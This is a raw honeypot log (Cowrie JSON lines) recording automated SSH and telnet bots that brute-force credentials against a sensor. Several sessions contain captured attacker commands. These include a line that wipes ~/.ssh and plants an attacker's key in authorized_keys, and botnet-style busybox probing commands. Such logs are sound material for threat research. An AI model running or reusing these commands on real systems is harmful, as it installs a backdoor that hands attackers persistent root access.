{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:39.935359Z","src_ip":"107.175.242.88","session":"1bc61da6d1ba","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:40.181690Z","src_ip":"107.175.242.88","session":"1bc61da6d1ba","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:40.184270Z","src_ip":"107.175.242.88","session":"1bc61da6d1ba","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:40.234496Z","src_ip":"107.175.242.88","session":"1bc61da6d1ba","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:40.238588Z","src_ip":"107.175.242.88","session":"1bc61da6d1ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.175.242.88","src_port":48498,"dst_ip":"159.203.135.109","dst_port":22,"session":"99f2c26d704d","protocol":"ssh","message":"New connection: 107.175.242.88:48498 (159.203.135.109:22) [session: 99f2c26d704d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:40.335334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:40.440604Z","src_ip":"107.175.242.88","session":"99f2c26d704d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:40.534823Z","src_ip":"107.175.242.88","session":"99f2c26d704d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:40.942237Z","src_ip":"107.175.242.88","session":"99f2c26d704d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:42.037920Z","src_ip":"107.175.242.88","session":"99f2c26d704d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.175.242.88","src_port":48512,"dst_ip":"159.203.135.109","dst_port":22,"session":"499e171e9205","protocol":"ssh","message":"New connection: 107.175.242.88:48512 (159.203.135.109:22) [session: 499e171e9205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:42.132422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:42.143637Z","src_ip":"107.175.242.88","session":"499e171e9205","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:42.236286Z","src_ip":"107.175.242.88","session":"499e171e9205","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:42.740872Z","src_ip":"107.175.242.88","session":"499e171e9205","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:42.835421Z","src_ip":"107.175.242.88","session":"1bc61da6d1ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:42.839802Z","src_ip":"107.175.242.88","session":"499e171e9205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":48012,"dst_ip":"10.17.0.5","dst_port":22,"session":"284b1e2727c4","protocol":"ssh","message":"New connection: 163.7.6.74:48012 (10.17.0.5:22) [session: 284b1e2727c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:56.226229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:56.230176Z","src_ip":"163.7.6.74","session":"284b1e2727c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:56.482912Z","src_ip":"163.7.6.74","session":"284b1e2727c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ips","password":"ips@123456","message":"login attempt [ips/ips@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:57.552000Z","src_ip":"163.7.6.74","session":"284b1e2727c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:11:58.808273Z","src_ip":"163.7.6.74","session":"284b1e2727c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43510,"dst_ip":"159.203.135.109","dst_port":22,"session":"3576f7ac2e75","protocol":"ssh","message":"New connection: 2.57.122.208:43510 (159.203.135.109:22) [session: 3576f7ac2e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:06.173825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:06.228620Z","src_ip":"2.57.122.208","session":"3576f7ac2e75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:06.309538Z","src_ip":"2.57.122.208","session":"3576f7ac2e75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"bot","message":"login attempt [bot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:06.907468Z","src_ip":"2.57.122.208","session":"3576f7ac2e75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:08.161787Z","src_ip":"2.57.122.208","session":"3576f7ac2e75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.180","src_port":59430,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e1fdf633471","protocol":"ssh","message":"New connection: 205.210.31.180:59430 (10.17.0.5:22) [session: 2e1fdf633471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:09.439584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:10.338042Z","src_ip":"205.210.31.180","session":"2e1fdf633471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:11.242865Z","src_ip":"205.210.31.180","session":"2e1fdf633471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:17.499433Z","src_ip":"205.210.31.180","session":"2e1fdf633471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.214.227.21","src_port":50077,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1b2701bc264","protocol":"telnet","message":"New connection: 175.214.227.21:50077 (10.17.0.5:23) [session: d1b2701bc264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:48.783847Z"}
{"eventid":"cowrie.login.failed","username":"666666","password":"666666","message":"login attempt [666666/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:49.407782Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"root","password":"00000000","message":"login attempt [root/00000000] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:50.029428Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:50.067820Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"enable","message":"CMD: enable","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:50.265403Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"system","message":"CMD: system","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:50.269676Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"system ","message":"Command not found: system ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:50.271922Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"shell","message":"CMD: shell","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:50.274417Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"shell ","message":"Command not found: shell ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:50.276779Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sh","message":"CMD: sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:50.279621Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc/mounts; /bin/busybox JIMBK","message":"CMD: cat /proc/mounts; /bin/busybox JIMBK","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:50.478426Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JIMBK","message":"CMD: cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JIMBK","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:50.678171Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"tftp; wget; /bin/busybox JIMBK","message":"CMD: tftp; wget; /bin/busybox JIMBK","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:50.877561Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s","message":"CMD: dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:51.076615Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"while read i","message":"Command not found: while read i","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:51.081661Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox JIMBK","message":"CMD: /bin/busybox JIMBK","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:51.278501Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"rm .s; exit","message":"CMD: rm .s; exit","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:51.281977Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"q","message":"CMD: q","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:51.284513Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"q ","message":"Command not found: q ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:51.287238Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6dc5e374ed610d67f42b19803a8623447442f36c08e088dea9a20a35c1575f16","size":3454,"shasum":"6dc5e374ed610d67f42b19803a8623447442f36c08e088dea9a20a35c1575f16","duplicate":false,"duration":"1.2","message":"Closing TTY Log: var/lib/cowrie/tty/6dc5e374ed610d67f42b19803a8623447442f36c08e088dea9a20a35c1575f16 after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:51.292074Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.515261173248291,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:51.299003Z","src_ip":"175.214.227.21","session":"d1b2701bc264","protocol":"telnet"}
